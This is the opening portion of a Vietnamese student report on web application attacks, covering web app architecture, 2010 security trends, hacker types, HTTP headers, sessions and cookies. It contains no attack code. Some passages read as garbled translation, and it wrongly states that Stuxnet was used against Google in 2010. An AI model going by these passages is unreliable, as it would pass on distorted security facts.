Tải bản đầy đủ (.doc) (88 trang)

tìm hiểu về tấn công ứng dụng web

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.32 MB, 88 trang )

LỜI MỞ ĐẦU
Trong thời đại ngày này nay internet đã rất trở nên quen thuộc và là một
công cụ hữu ích để một đất nước, tổ chức giới thiệu hình ảnh hay đơn giản
chỉ là một trang web cá nhân của một ai đó giới thiệu về mình. Tất cả đã kéo
theo sự phát triển không ngừng của các ứng dụng web. Và dần dần khái
niệm ứng dụng web đã trở nên phổ biến .Khi mà trên internet ,ứng dụng web
đã trở lên phổ biến ,ứng dụng một cách rộng rãi thì các cuộc tấn công ứng
dụng web cũng phát triển hết sức phức tạp. Điều này đã đặt ra vấn đề cấp
thiết cần làm như thế nào để bào đảm an toàn thông tin cho ứng dụng web,
thông tin của người sử dụng. Các khái niệm chuyên môn về ứng dụng web
và tấn công ứng dụng web cũng dần trở nên phổ biến hơn trong các tài liệu
chuyên ngành . Các công cụ hỗ trợ người lập trình web, người quản trị
mạng cũng xuất hiện giúp tìm kiếm lỗ hổng của ứng dụng web nhưng nó
không theo kịp sự phát triển nhanh đến mức chóng mặt theo xu hướng nhanh
hơn đẹp hơn của các ứng dụng web, và tất nhiên nó không thể ngăn chặn
hoàn toàn các cuộc tấn công ứng dụng web, khi mà các cuộc tấn công ngày
càng đa dạng khai thác triệt để những lỗi của ứng dụng web, của người quản
trị, hay người lập trình ứng dụng web.
Thống kê cho thấy 75% cuộc tấn công internet là tấn công ứng dụng
web,nó gây ra những thiệt hại vô cùng to lớn, vì vậy việc tìm hiểu về tấn
công ứng dụng web là rất cần thiết nhằm có cách phòng chống tấn công và
bảo mật ứng dụng web hiệu quả trở thành một yêu cầu cấp thiết..
Do đây là một xu thế tất yếu của thời, nên việc tìm hiểu và nghiên cứu về
ứng dụng web sẽ giúp ích rất nhiều cho các nhà lập trình web mới, hay các
quản trị viên mới còn ít kinh nghiệm trong việc quản trị hệ thống mạng của
mình, phòng tránh , hay khắc phục những lỗi của ứng dụng web. Đồ án này
được thực hiện nhằm mục đích giới thiệu rõ hơn về ứng dụng web nhằm
tránh những nhầm lẫn và đồng thời tìm hiểu về những tấn công ứng dụng
web phổ dụng nhằm có cách phòng chống ,bảo mật cho ứng dụng web hợp

Lời cảm ơn


Em xin cảm ơn khoa an toàn thông tin Học viện kỹ thuật MAatj Mã đã tạo
điều kiện thuận lợi để em hoàn thành báo cáo thực tập này

1


Cảm ơn Thầy Vũ Đình Thu và các thầy trong khoa an toàn thông tin
đã tận tình hướng dẫn cung cấp tài liệu và giúp đỡ em làm báo cáo thực tập
này.
CHƯƠNG 1 : TỔNG QUAN VỀ WEBSITE
1.1. XU HƯỚNG PHÁT TRIỂN.
Các khách hàng quen nhìn nhận sự phát triển của các phương tiện truyền
thông mới để mang lại lợi nhuận nhiều hơn về thu tiền tệ. Nhưng khi các
tiến bộ trên thế giới thì web đã đảm nhận trách nhiệm vai trò mới.
Để mang lại mức tăng của sự tham gia và nhường đường cho các tương
tác nhiều hơn, nhiều chương trình dịch vụ cộng đồng đã được mở cửa cho
người dân. Hiện nay rất nhiều các dịch vụ một cộng đồng như Face book,
Orkut, Hi5, vv, kết nối người dân và cộng đồng. Blog và diễn đàn có thêm
như công cụ giúp tốt hơn và nền tảng cho việc tương tác với nhau. Sau đó có
Wiki mà làm cho nguồn tài nguyên trực tuyến có sẵn quan trọng cho người
dân nói chung.
Trong cộng đồng phát triển công nghệ web đã được tái phát triển chủ
yếu để làm cho chúng thân thiện và tương tác. Trên mặt trước thiết kế kỹ
thuật hai cũng như các lập trình khoa học có được sử dụng để giả mạo sản
phẩm cuối cùng vì lợi ích của nhân dân tại lớn. Theo bây giờ nhiều người
trong số các sản phẩm hoặc dịch vụ trực tuyến đang có sẵn như là miễn phí
và mở các dịch vụ kết thúc.
Do đó phát triển cộng đồng web kết hợp tất cả những thay đổi cơ bản
được yêu cầu để gở rối web từ giá trị thương mại. Các dịch vụ và các sản
phẩm dưới nó có chủ yếu được thiết kế và phát triển để cho phép mọi người

đến gần hơn và tận hưởng những lợi ích của công nghệ mới. Đó là giá trị
nhắc đến vào thời điểm này mà nhiều tổ chức kinh doanh phát triển sản
phẩm, cung cấp dịch vụ để có quan hệ tốt hơn với công chúng. Đôi khi nó có
thể xảy ra rằng một dịch vụ cộng đồng miễn phí trong quá trình do thay đổi
thời gian ưu đãi của mình và chịu một bản sắc thương mại.
1.2. Khái niệm về ứng dụng web(website widget hay web application)
Mang tính kỹ thuật nhiều hơn có thể giải thích các ứng dụng Web truy vấn
máy chủ chứa nội dung (chủ yếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo
tài liệu Web động để phục vụ yêu cầu của máy khách (chính là người dùng
website). Tài liệu được tạo trong kiểu định dạng tiêu chuẩn hỗ trợ trên tất cả
mọi trình duyệt (như HTML, XHTML). JavaScript là một dạng script clientside cho phép yếu tố động có ở trên từng trang (như thay đổi ảnh mỗi lần
2


người dùng di chuột tới). Trình duyệt Web chính là chìa khóa. Nó dịch và
chạy tất cả script, lệnh… khi hiển thị trang web và nội dung được yêu cầu
Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho
phép người dùng website đăng nhập, truy vấn vào ra dữ liệu qua mạng
Internet trên trình duyệt Web yêu thích của họ. Dữ liệu sẽ được gửi tới
người dùng trong trình duyệt theo kiểu thông tin động (trong một định dạng
cụ thể, như với HTML thì dùng CSS) từ ứng dụng Web qua một Web
Server.
Để hiểu hết được ý nghĩa của khái niệm này chúng ta cùng đi sâu vào tìm
hiểu tiếp mô hình cấu trúc chức năng và nhiệm vụ của ứng dụng web.
Cấu trúc,chức năng,giao diện&nguyên tắc hoạt động cơ bản của ứng
dụng web
1.3.1 Cấu trúc cơ bản của một ứng dụng web
Mô hình của một ứng dụng web đơn giản chính là mô hình MVC (Model View - Controller).
Tầng Model: chứa các code connect tới database,truy vấn và thêm xóa sửa
dữ liệu.

Tầng View: chứa các code tạo giao diện tương tác với người dùng, dữ liệu
được vẽ ra nhu thế nào
Tầng Controller: chứa các code điều khiển dòng dữ liệu (flow control), gắn
kết tầng Mode và tầng View lại với nhau.
Ứng dụng được chia thành các layer như thế sẽ tăng tính reuse và dễ dàng
mở rộng. Chẳng hạn nếu chúng ta muốn ứng dụng có thể truy xuất trên di
dộng, chúng ta chỉ cần tạo một tầng view mới riêng cho di động, tầng model
và controller không thay dổi. Hay nếu chúng ta muốn thay đổi database, việc
đó cũng dễ dàng hơn, chỉ cần ta tạo tầng model mới, phần view và controller
không bị ảnh hưởng.
Mô hình thể hiện quan hệ của ba lớp trong ứng dụng web:

3


Hình 1. mô hình 3 tầng của một ứng dụng web
Còn đây là mô hình của một dịch vụ ứng dụng web:

Hình 2. Mô hình dịch vụ ứng dụng web đơn giản
Tầng Presentation: được dùng để giao tiếp với người dùng, nhiệm vụ chính
là hiển thị dữ liệu và nhận dữ liệu từ người dùng.
- Tầng Business Logic: nhiệm vụ chính là cung cấp các chức năng của phần
mềm.
- Tầng Data: lưu trữ dữ liệu, cho phép lớp Business Logic có thể tìm kiếm,
trích xuất, cập nhật… dữ liệu.
1.3.2 Giao diện của một ứng dụng web
Giao diện web đặt ra rất ít giới hạn khả năng người dùng. Thông qua Java,
JavaScript, DHTML, Flash và những công nghệ khác, những phương pháp
chỉ ứng dụng mới có như vẽ trên màn hình, chơi nhạc, và dùng được bàn
phím và chuột tất cả đều có thể thực hiện được Những kỹ thuật thông

thường như kéo thả cũng được hỗ trợ bởi những công nghệ trên.
Những nhà phát triển web thường dùng ngôn ngữ kịch bản phía người dùng
để thêm hiệu quả các tính năng, đặc biệt là tạo ra một cảm giác giao tiếp trực
quan mà không cần phải tải trang lại (điều mà nhiều người dùng cảm thấy
ngắt quãng). Vừa rồi, những công nghệ đã được phát triển để phối hợp ngôn
ngữ kịch bản phía người dùng với công nghệ phía máy chủ như PHP. Ajax,
một kỹ thuật phát triển web sử dụng kết hợp nhiều công nghệ khác nhau, là
một ví dụ về công nghệ hiện đang tạo ra ngày càng nhiều trải nghiệm tương
tác hơn.
1.3.3 Chức năng cơ bản của các ứng dụng web
Ứng dụng web phổ biến nhờ vào sự có mặt vào bất cứ nơi đâu của một
chương trình. Khả năng cập nhật và bảo trì ứng dụng Web mà không phải
phân phối và cài đặt phần mềm trên hàng ngàn máy tính là lý do chính cho
sự phổ biến của nó. Ứng dụng web được dùng để hiện thực Webmail, bán

4


hàng trực tuyến, đấu giá trực tuyến, wiki, diễn đàn thảo luận, Weblog,
MMORPG, Hệ quản trị quan hệ khách hàng và nhiều chức năng khác..
Web cũng là kênh bán hàng thông minh cho hàng nghìn tổ chức, doanh
nghiệp, lớn có, nhỏ có. Với hơn một tỷ người dùng Internet ngày nay
(nguồn: Computer Industry Almanac 2006), thương mại điện tử Mỹ sử dụng
khoảng 102 tỷ đô la trong năm 2006 cho giao dịch (nguồn: comScore
Networks 2007).
Tất cả dữ liệu như vậy cần phải được đóng gói, lưu trữ, xử lý và truyền vận
theo một cách nào đó, có thể sử dụng ngay hoặc vào một ngày nào đó sau
này. Các ứng dụng Web, trong lĩnh vực đăng ký, đệ trình, truy vấn, đăng
nhập, bán hàng và hệ thống quản lý nội dung chính là các website widget
cho phép thực hiện tất cả công việc mong muốn.

Web chính là là yếu tố cơ bản giúp doanh nghiệp tăng cường hình ảnh trực
tuyến của mình trên thế giới mạng, tạo ra và duy trì nhiều mối quan hệ đem
lại lợi nhuận lâu dài với khách hàng tiềm năng và khách hàng hiện tại.
Không nghi ngờ gì là các ứng dụng Web đã trở thành thứ hiện hữu ở khắp
mọi nơi trên thế giới. Nhưng do tính kỹ thuật cao và yếu tố tổng hợp phức
tạp tự nhiên nên chúng không được nhiều người biết đến chính xác, thậm chí
bị hiểu nhầm trầm trọng trong cuộc sống bận rộn hằng ngày.
Website ngày nay khác xa so với kiểu đồ họa và văn bản tĩnh của thế kỷ
mười chín hay thời kỳ trước đó. Các trang Web hiện đại cho phép người
dùng lấy xuống nội dung động cá nhân hóa theo thiết lập và tham chiếu
riêng. Hơn nữa chúng cũng có thể chạy các script trên máy khách, có thể
“thay đổi” trình duyệt Internet thành giao diện cho các ứng dụng như thư
điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Google Maps).
Quan trọng nhất là website hiện đại cho phép đóng gói, xử lý, lưu trữ và
truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín
dụng, thông tin bảo mật xã hội …) có thể dùng ngay hoặc dùng định kỳ về
sau. Và, điều này được thực hiện qua các ứng dụng Web. Đó có thể là thành
phần webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu
yêu cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát
triển website hiện đại, cung cấp cho các doanh nghiệp phương tiện cần thiết
để liên lạc với khách hàng tương lai và khách hàng hiện tại.
Nguyên tắc hoạt động cơ bản của một ứng dụng web
Trong dạng tính toán chủ-khách trước đây, mỗi ứng dụng có chương trình
khách riêng của nó sẽ phục vụ như giao diện người dùng và phải được cài
đặt riêng rẽ trên mỗi máy tính cá nhân của người dùng. Sự nâng cấp phần
máy chủ của ứng dụng sẽ cần nâng cấp tất cả máy khách đã được cài trên
mỗi máy trạm người dùng, thêm vào đó là chi phí hỗ trợ và giảm năng suất.
5



Ứng dụng web linh hoạt tạo ra một loạt các tài liệu Web ở định dạng chuẩn
được hỗ trợ bởi những trình duyệt phổ biến như HTML/XHTML. Ngôn ngữ
kịch bản phía người dùng ở dạng ngôn ngữ chuẩn như JavaScript thường
được thêm vào để có thêm những yếu tố động trong giao diện người dùng.
Nói chung, mỗi trang Web đơn lẻ được gửi tới người dùng như một tài liệu
ổn định, nhưng thứ tự các trang có thể cung cấp cảm giác trực quan, khi
những gì người dùng nhập vào sẽ được trả về thông qua thành phần mẫu
Web được nhúng vào trong đánh dấu trang. Trong quá trình giao dịch đó,
trình duyệt Web sẽ thông dịch và hiển thị trang, và hoạt động như một người
dùng chung cho bất kỳ ứng dụng Web nào
Theo mô hinh MVC (Model - View - Controller).

Hình 3. Mô tả hoạt động của một ứng dụng web
Các bước hoạt động của một ứng dụng web đơn giản
Bước 1 : Browser tạo một HTTP Request gửi tới ứng dụng web
bước 2: Controller chính của Struts là class ActionServlet sẽ bắt request
này, phân tích URL của nó, và dựa vào file struts-config.xml để gửi request
này tới Action class tương ứng
Bước 3: Action class là một class của Struts Framework. Ứng dụng của
chúng tathường extends từ class này và viết code để sử lý những business
6


tương ứng. Chẳng hạn ta sẽ có một LoginAction để xử lý việc user login,
logout.
Bước 4: Action class có thể truy xuất, cập nhật database nếu cần thiết.
Bước 5: Khi Action class thực hiện việc xử lý business xong, nó sẽ gửi yêu
cầu forward/redirect, cùng với dữ liệu (nếu có) về controller.
Bước 6: Controller chuyển control đến trang JSP tương ứng ở tầng view.
Nếu trang JSP này có sử dụng dữ liệu, controller sẽ cung cấp cho nó (đây

chính là dữ liệu mà action đã tạo ra và đua cho controller
Bước 7: Sau khi trang JSP đã chuẩn bị xong, Controller tạo một HTTP
Response gửi về cho browser, để browser hiển thị ra màn hình.
1.3.5 Vấn đề bảo mật ứng dụng web
Khi mà ứng dụng web phát triển rất nhanh về mọi mặt, khả năng ứng
dụng một cách rộng rãi thì vấn đề bảo mật cho ứng dụng web cũng được chú
trọng hơn. Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện
nay, nhưng vấn đề về bảo mật trong ứng dụng Web vẫn không ngừng tăng
lên. Nguyên nhân có thể xuất phát từ các đoạn mã không phù hợp. Nhiều
điểm yếu nghiêm trọng hay các lỗ hổng cho phép hacker xâm nhập thẳng và
truy cập vào cơ sở dữ liệu tách lấy dữ liệu nhạy cảm. Nhiều cơ sở dữ liệu
chứa thông tin giá trị (như chi tiết cá nhân, thông tin tài chính) khiến chúng
trở thành đích nhắm thường xuyên của hầu hết hacker. Mặc dù hoạt động tấn
công phá hoại website doanh nghiệp vẫn diễn ra thường xuyên, nhưng bây
giờ tin tặc thích tăng cường khả năng truy cập dữ liệu nhạy cảm nằm trên
trình chủ chứa database hơn vì lợi nhuận khổng lồ từ các vụ mua bán dữ liệu
đem lại.

7


Hình 3 Mô hình hoạt động của một ứng dụng web
Trong khung hoạt động mô tả ở trên, bạn có thể thấy thật dễ dàng cho một
hacker truy cập nhanh chóng thông tin nằm trên cơ sở dữ liệu chỉ với một
chút sáng tạo. Nếu may mắn hơn chúng có thể gặp lỗ hổng xuất phát từ sự
cẩu thả hay lỗi người dùng trên các ứng dụng Web.
Như đã nói, website phụ thuộc vào cơ sở dữ liệu để phân phối thông tin
được yêu cầu cho người dùng. Nếu ứng dụng Web không an toàn (như có lỗ
hổng, gặp phải một kiểu kỹ thuật hacking nào đó), toàn bộ cơ sở dữ liệu
chứa thông tin nhạy cảm sẽ gặp nguy hiểm nghiệm trọng.

Một số hacker có thể chèn mã độc hại vào ứng dụng Web có lỗ hổng để lừa
đảo người dùng và dẫn họ tới website phishing. Kỹ thuật này được gọi là
Cross-site Scripting, có thể được dùng ngay cả khi bản thân Web Server và
nơi chứa cơ sở dữ liệu không có lỗ hổng nào.
Một cuộc nghiên cứu gần đây chỉ ra rằng 75% các cuộc tấn công mạng được
thực hiện ở mức ứng dụng Web.Website và các ứng dụng Web liên quan
luôn phải sẵn sàng 24/7 để cung cấp dịch vụ theo yêu cầu khách hàng, yêu
cầu từ phía nhân viên, nhà cung cấp và nhiều người liên quan khác.
ZF Tường lửa, SSL không thể bảo vệ ứng dụng Web trước mọi hoạt
động hacking, đơn giản vì truy cập vào website phải để ở chế độ public để
bất kỳ ai cũng có thể ghé thăm website được. Tất cả hệ thống cơ sở dữ liệu
hiện đại (như Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập
qua một số cổng cụ thể (như cổng 80, 443). Nếu muốn, một người nào đó có
thể kết nối trực tiếp tới cơ sở dữ liệu một cách hiệu quả khi vượt qua cơ chế
8


bảo mật của hệ điều hành. Các cổng này để mở nhằm cho phép liên lạc với
hoạt động giao thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng
lớn nguy hiểm.
Các ứng dụng Web thường truy cập dữ liệu cuối như cơ sở dữ liệu khách
hàng, điều khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối an
toàn. Lúc này truy cập dữ liệu thường không kèm script cho phép đóng gói
và truyền tải dữ liệu. Nếu một hacker nhận ra điểm yếu trong một script, anh
ta có thể dễ dàng mở lại lưu lượng sang khu vực khác và chia lẻ bất hợp
pháp chi tiết cá nhân người dùng, dù đôi khi không hề chủ tâm làm điều đó
Hầu hết ứng dụng Web đều là tự tạo, do đó ít có được các kiểm tra trình độ
hơn so với phần mềm cùng loại. Do đó các ứng dụng tùy biến thường dễ bị
tấn công hơn.
Có thể nói ứng dụng Web là một cổng vào (gateway) của cơ sở dữ liệu, nhất

là các ứng dụng tùy biến. Chúng không được phát triển với mức bảo mật tốt
nhất vì không phải qua các kiểm tra bảo mật thông thường. Nói chung, bạn
cần trả lời câu hỏi: “Phần nào trên website chúng ta nghĩ là an toàn nhưng lại
mở cửa cho các cuộc tấn công?” và “Dữ liệu nào chúng ta đem vào một ứng
dụng khiến nó thực hiện một số điều không nên làm?”.Đó là công việc của
phần mềm rà soát lỗ hổng Web.
Hiện nay , hacker có rất nhiều cách tấn công một ứng dụng web từ các kĩ
thuật cơ bản cho đến những kĩ thuật đòi hỏi kĩ thuật và công nghệ cao cao.
Các công cụ(tool) hỗ trợ ra đời ngày càng nhiều , hỗ trợ rất nhiều cho người
quản trị mạng , tìm ra những lỗ hổng để có bản vá lỗi kịp thời nhưng đồng
thời nó cũng là một con dao hai lưỡi. Hacker có thể dùng những tool này để
phát hiện những lỗ hổng của một ứng dụng web và từ đó sẽ có cách tấn
công tương ứng vào lỗ hổng này gây ra rất nhiều tổn thất
Vì vậy việc nghiên cứu về các kĩ thuật tấn công và những tool cơ bản hiện
nay là một nhu cầu tất yếu trong việc nghiên cứu bảo mật ứng dụng web.
1.4. Xu hướng tấn công website – các vấn đề về hacker
Máy tính và an ninh mạng luôn là trò chơi mèo vờn chuột không có hồi
kết. Những kẻ tấn công không chỉ giỏi về công nghệ mà còn sâu sắc trong
nhận định xu hướng xã hội để rồi tìm ra điểm yếu, lỗ hổng khiến nhiều
người phải điêu đứng, nhiều tổ chức phải đau đầu. Hãy cùng nhìn lại những
xu hướng an ninh mạng hàng đầu trong năm nay để bạn có thể tìm ra cách
bảo vệ chiếc máy tính của riêng mình tốt hơn trong thời gian tới.
Mục tiêu đe dọa

9


Năm 2010 bắt đầu bằng vụ đại gia Google và hàng loạt các tên tuổi lớn bị tin
tặc tấn công. Đây là nét mới mẻ trong lựa chọn mục tiêu của các hacker với
công cụ là loại sâu có tên Stuxnet.

Gary Egan, giám đốc trung tâm phản hồi an ninh của Symantec cho
hay:“Có thể thấy rằng Stuxnet đã mở ra bước phát triển đáng lo ngại của
các phần mềm độc hại. Với mục tiêu là các công ty công nghệ lớn, thiệt hại
trong thế giới thực là hết sức rõ ràng. Trên thực tế, tác động chính trị và xã
hội của loại sâu này đã vượt quá tầm kiểm soát.”
Trò chơi trong khuôn cát (sandbox)

10


Sandbox (khuôn cát) trong năm 2010 đã trở thành một thuật ngữ được sử
dụng rộng rãi. Trên trình duyệt Chrome của Google và Adobe Reader đã
chấp nhận Sandbox như biện pháp ngăn chặn tấn công hữu hiệu. Đây là khu
vực an toàn riêng biệt cho phép chạy các mã như Javascript song không thể
lây nhiễm hay ảnh hưởng đến phần còn lại của hệ thống. Sử dụng Sandbox,
người dùng có thể tránh được hầu hết các cuộc tấn công phổ biến nhất.
Một phát ngôn viên của Invincea nhận xét: “Sandbox có thể vượt ra ngoài
phạm vi các ứng dụng cá nhân và trở nên rộng rãi trên thị trường. Điều đó
sẽ khiến cho sự lây lan virus qua web bị vô hiệu hóa ngay từ khi bắt đầu, kể
cả là mã khai thác dựa trên sự tin tưởng của khách hàng, ví dụ như virus
giả mạo, SEO và khai thác lõi…”
Danh hiệu của năm cho Microsoft

11


Microsoft đã tự mình phá vỡ nhiều kỷ lục trong năm 2010 ở khía cạnh xác
định và vá lỗ hổng phần mềm. Bất chấp việc một số người sẽ chỉ trích sự cẩu
thả trong xây dựng hệ thống của hãng, họ cho rằng gã khổng lồ đã trở nên
hiệu quả hơn trong phát hiện lỗi và đáp ứng kịp thời hơn. Microsoft liên tục

đưa ra các bản tin bảo mật cập nhật trong năm qua. Nói đến vấn đề này,
Egan cho hay: “Trong năm 2010, Microsoft đã phát hiện và khắc phục 261
lỗ hổng, tăng hơn gần 100 lỗi so với con số 170 của năm ngoái.”
Bộ công cụ tấn công Web

12


Thêm một năm chứng kiến sự gia tăng chóng mặt của các bộ dụng cụ tấn
công Web – thứ cho phép những kẻ “mới vào nghề” nhanh chóng khai thác
lỗ hổng bảo mật rồi phát triển các phần mềm độc hại tấn công tinh vi.
Có thể kể đến Mariposa, một dạng botnet bị ngăn chặn bởi hãng bảo mật
Panda như ví dụ cho vấn đề này. Kẻ tạo ra Mariposa, Iserdo 23 tuổi, dường
như không có, hoặc có rất ít kiến thức về lập trình. Song đã có tới 12 triệu
máy tính trên toàn thế giới bị tác động.
Ori Eisen, chuyên gia hàng đầu về bảo mật cho hay: “Chúng ta đang tiến
rất gần đến thời điểm kết nối toàn cầu. Ở đó, các cuộc tấn công sẽ nhảy vọt
theo cấp số nhân từ những ảnh hưởng hạn chế sang thành quả thu được lớn
hơn rất nhiều bởi rào cản biên giới gần như không tồn tại.”
Cuộc tấn công xã hội hóa

Có một điều không bao giờ thay đổi, đó là mắt xích yếu nhất của chuỗi bảo
mật luôn là những người ngồi trước bàn phím máy tính. Các tin tặc sẽ tiếp
tục khai thác sự “ngây thơ” này và biến đây thành kỹ năng đáng sợ nhất của
chúng.
Đến chính Rogue, một phần mềm diệt virus đã bị mượn tên để làm giả thành
chương trình chứa những mã độc hại, và có rất nhiều người không hề hay
13



biết. Thật vậy, xu hướng phổ biến của năm 2010 là các nạn nhân tự mời gọi
hacker đi qua cửa trước khi chúng khoác lớp vỏ ngoài "trông có vẻ" hợp
pháp.
Giờ đây, Facebook và Twitter đang trở thành một mục tiêu đầy tiềm năng.
Các khách hàng sẽ chẳng thèm đoái hoài đến những lời cảnh báo khi vô tư
chia sẻ thông tin cá nhân trên các trang mạng, để rồi một cuộc tấn công lớn
mang tầm vóc xã hội sẽ nhanh chóng hình thành.
Khi chúng ta bước vào năm 2011, mối đe dọa sẽ còn nhiều hơn. Có thể
smartphone hay máy tính bảng sẽ là mục tiêu kế tiếp, nhưng tất cả đều phụ
thuộc vào sự cảnh giác của mỗi người dùng.
1.5. Vấn đề bảo mật website ngày nay.
Ngày nay các mối đe dọa đến từ cổng 80 và 443 ngày một tăng so với các
mối đe dọa bảo mật khác. Việc mở rộng sự phức tạp của các tấn công web
đòi hỏi các công ty cần phải triển khai một giải pháp bảo mật web mạnh mẽ.
Hành động lọc URL đơn giản đã xuất hiện một vài năm và nó phải là
thành phần cốt lõi trong việc bảo mật web. Mặc dù vậy, bảo mật web cần có
thêm nhiều tính năng khác ngoài vấn đề lọc URL, chẳng hạn như quét AV,
malware, biết các IP xác thực, kỹ thuật phân loại URL và các chức năng
ngăn chặn lọt dữ liệu. Kẻ tấn công có thể thỏa hiệp các site có tiểu sử khá tốt
vì vậy nếu chúng ta chỉ dựa vào việc lọc danh sách trắng và danh sách đen
các URL thì phương pháp này sẽ không còn an toàn. Bất cứ giải pháp bảo
mật web nào đều phải có khả năng quét lưu lượng web động để có thể đưa ra
quyết định có tính hợp lệ.
1.6. Các khái niệm và thuật ngữ liên quan đến tấn công và bảo

mật ứng dụng web
1.6.1.

Khái niệm hacker


Khái niệm hacker có từ những 50, 60 của thế kỉ trước , và cho đến nay trải
qua một thời gian phát triển khá dài hacker chia làm 4 loại:
- Hacker mũ trắng: là những chuyên gia lập trình chuyên tìm các lỗi của phần
mềm với mục đích sửa chữa, xây dựng hệ thống an toàn hơn.
- Hacker mũ đen: đối lập với hacker mũ trắng, là những hacker phá hoại và trục lợi
cho mình.
14


- Hacker mũ xanh/samurai: là những chuyên gia lập trình tài năng, được các hãng
như Microsoft mời về làm việc chuyên tìm lỗi cho phần mềm của họ.
- Hacker mũ xám hay mũ nâu: là những người đôi khi làm công việc của hacker
mũ trắng nhưng vẫn làm công việc của hacker mũ đen.
- Dù tự nhận mình là giới nào, họ vẫn đang làm công việc xâm nhập hệ thống
thông qua những lỗ hổng bảo mật. Vì vậy tôi sẽ sủ dụng thuật ngữ hacker để chỉ
nhũng người tấn công ứng dụng web.

1.6.2.

HTTP HEARDER

HTTP HEARDER là trường phần đầu chứa các thông số hoạt động của
một yêu cầu HTTP giữa máy chủ và máy khách .Những thông tin trình khách gửi
trình chủ gọi là HTTP requests(yêu cầu ),những thông tin trình chủ gửi cho trình
khách gọi là HTTP responses(trả lời )
Các trường tiêu đề xác định đặc điểm khác nhau của việc chuyển dữ liệu
được yêu cầu hoặc các dữ liệu được cung cấp trong thông điệp. HTTP Header có
thể có nhiều dòng và thường bắt đầu với tên trường, chấm dứt với một ký tự đại
tràng, tiếp theo là giá trị trường. Tên trường và các giá trị có thể là bất kỳ ứng
dụng cụ thể chuỗi , nhưng tập lõi các lĩnh vực được chuẩn hóa bởi Internet

Engineering Task . Một số tham số được sử dụng cả trong trình khách mà trình
chủ.
- (Có bảng danh sách các tham số ở cuối đồ án .)

1.6.3

SESSION

HTTP là giao thức hướng đối tượng phi trạng thái, nó không lưu trữ trạng
thái làm việc giữa trình chủ và trình khách . Điều này gây khó khăn cho việc quản
lý một số ứng dụng web bởi vì trình chủ không biết rằng trước đó trình khách đã ở
trạng thái

nào. Để giải quyết vấn đề này , người ta đưa ra khái niệm

SESSION(phiên làm việc) vào giao thức HTTP.

15


SessionID là một chuỗi để chứng thực phiên làm việc . Một số trình chủ sẽ
cấp phát session cho người dùng khi họ xem trang web trên trình chủ
-Để duy trì phiên làm việc sessionID thường được lưu trữ vào :
+Biến trên URL
+Biến ẩn from
+Cookie
-Phiên làm việc chỉ tồn tại trong khoảng thời gian cho phép, thời gian này được
quy định tại trình chủ hoặc bởi ứng dụng thực thi.Trình chủ tự động giải phóng
phiên làm việc để khôi phục tài nghuyên hệ thống.


1.6.4. COOKIE
Là một phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình
duyệt người dùng.
Các cookie được lưu trũ dưới dạng những file dữ liệu nhỏ dạng text , được
ứng dụng tạo ra để lưu trữ truy tìm nhận biết những người dùng đã ghé thăm trang
web và những vùng họ đã ngang qua trang. Những thông tin nay có thể bao gôm
thông tin người dùng, tài khoản, mật khẩu…cookie được trình duyệt của người
dùng chấp nhận lưu trên đĩa cứng của mình . Nhiều trình duyệt không tự động lưu
trữ cookie mà còn phụ thuộc vào người dùng có chấp nhận lưu nó hay không.
Những lần truy cập sau vào trang web đó ứng ứng dụng có thể sử dụng lại
những thông tin trong cookie(các thôgn tin tai khoản liên quan) mà người dùng
không cần phải đăng nhập hay cung cấp thêm thông tin gì cả.
Có nhiều cách phân loại cookie, phân loại theo đối tượng thiết lập của
cookie.thì cookie chia làm 2 loại: Cookie của bên thứ nhất là cookie được thiết lập
bởi tên miền trang web được liệt kê trong thanh địa chỉ. Cookie của bên thứ ba đến
từ các nguồn tên miền khác có các mục, chẳng hạn như quảng cáo hoặc hình ảnh,
16


được nhúng vào trang. Ngoài ra còn cách chia chia khác chia cookie thành 4 loại
vì có secure/non-secure và perisent/non- perisent nên ta có:
-Persistent và Secure

-Persistent và Non-Secure
- Non-Persistent và Secure
- Non-Persistent và Non-Secure
• Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt
NetscapeNavigator sẽ lưu các cookie thành một tập tin cookie.txt còn
Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một
cookie) trên máy khách trong mộtkhoản thời gian xác định.

• Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và
sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web.
• Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL).
• Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay
HTTP. Thựcchất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ
truyền bảo mật.
Các thành phầncủa một cookie gồm:
1. Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên
2. Flag: mang giá trị TRUE/FALSE - Xác định các máy khác với cùng
tên miền có được truy xuất đến cookie hay không.
3. Path: Phạm vi các địa chỉ có thể truy xuấtcookie.Ví dụ: Nếu path là
“/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các
thư mục con của nó như /tracuu/baomat có thể truy xuất đến cookie
này. Còn nếu giá tri là “/” thì cookie sẽ được truy xuấtbởitất cả địa
chỉ thuộcmiềntrang web tạo cookie.

17


4. Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure
cookie hay không nghĩa là kết nối có sử dụng SSL hay không.
5. Expiration:thời gian hết hạn của cookie, được tính bằng giây kể từ
00:00:00 giờ GMT ngày 01/01/1970. Nếu giá trị này không được
thiết lập thì trình duyệt sẽ hiểu đây là non-persistent cookie và chỉ
lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị đóng.
6. Name:Tên biến (trong trường hợp này là Apache)
7. Value: Với cookie được tạo

ở trên thì giá trị của Apache là


64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của
tên miền .
- Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường
